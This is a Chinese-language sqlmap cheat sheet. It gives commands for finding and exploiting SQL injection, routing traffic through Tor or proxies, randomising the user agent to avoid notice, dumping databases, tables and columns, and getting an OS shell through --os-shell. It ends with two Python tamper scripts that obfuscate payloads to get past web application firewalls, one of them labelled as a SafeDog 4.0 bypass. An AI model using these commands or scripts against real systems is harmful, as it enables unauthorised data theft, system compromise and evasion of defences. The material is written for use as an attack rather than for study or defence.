get请求

sqlmap -u "http://xx.com/?id=1"

POST请求

sqlmap -u "http://xx.com/?id=1" --data "user=1&passwd=1*"

指定post测试参数名

-p username

指定数据包测试

-r x.txt

指定cookiec

--cookie="xxx"

添加代理

  • 通过burp

    --proxy=http://127.0.0.1:8080
  • 通过翻墙⭐

    --proxy=socks5://127.0.0.1:7890
  • 通过tor 9150

    --proxy=socks5://127.0.0.1:9150

随机user-agent ⭐

(默认ua是sqlmap)

--random-agent

保持默认选项,不再询问yes or no

--batch 

显示详细信息

-v 显示详细信息 0-6
-v 0 不会显示任何信息
-v 1 显示信息(默认)
-v 2 显示调试信息debug
-v 3 显示攻击载荷payload

指定注入类型

B : 布尔盲注(Boolean based blind)
Q : 内联查询(Inline queries)
T : 时间盲注(time based blind)
U : 基于联合查询(Union query based)
E : 报错注入(error based)
S : 堆叠注入(stack queries)

--tech T  

指定数据库类型

mysql
mssql
oracle
postgrsql
access

--dbms mysql

指定测试等级

--level 1 默认,不指定就是1
--level 2 深度测试 and -> or 检测cookie注入
--level 3 头测试,测试常见的header头有没有注入
--level 4 全面检测
--level 5 全面检测

--level 5

风险级别

–risk 风险级别 1-3
默认1, 如果指数过高,可能会对数据造成伤害(如:更新,删除等)
–risk 3 只使用 or 测试

为payload指定闭合/前缀

--prefix 为payload指定闭合/前缀
--prefix=""
--prefix="')"

为payload指定注释/结尾

--suffix 为payload指定注释/结尾
--suffix="#"
--suffix="-- -"

获取数据库数据

--is-dba 查看是否是root权限
--banner 获取当前数据库版本,中间件版本,PHP版本
--current-user 获取当前数据库用户
--dbs 获取所有的数据库名
--current-db 获取当前数据库名
-D 数据库名 --tables
-D 数据库名 -T 表名 --columns
-D 数据库名 -T 表名 -C 列名 --dump

shell

--sql-shell 获取sql命令行(不能执行系统命令)
--os-shell 获取系统命令行 ★

宽字节注入

教会sqlmap:如果sqlmap不能正常检测到,要主动加闭合 --data=”id=1%df%27”

tamper脚本

--tamper 脚本 用于绕过waf
--tamper xx,xx

#!/usr/bin/env python

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, **kwargs):
payload = payload.replace(' ','%0a')
return payload
#!/usr/bin/python3.7
# Author:Zeo
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Zeo_bypass_safedog4.0")

def tamper(payload, **kwargs):
payload=payload.replace('AND','/*!44466AND*/')
payload=payload.replace('ORDER','/*!44466order*/')
payload=payload.replace('BY','%23a%0aby')
payload=payload.replace('USER()','%23a%0aUSER/*!*/()')
payload=payload.replace('DATABASE()','%23a%0aDATABASE/*!*/()')
payload=payload.replace('SESSION_%23a%0aUSER/*!*/()','%23a%0aSESSION_USER()')
payload=payload.replace('UNION ALL SELECT','UNION ALL /*!44466SELECT*/')
payload=payload.replace('CURRENT_%23a%0aUSER/*!*/()','CURRENT_USER()')
return payload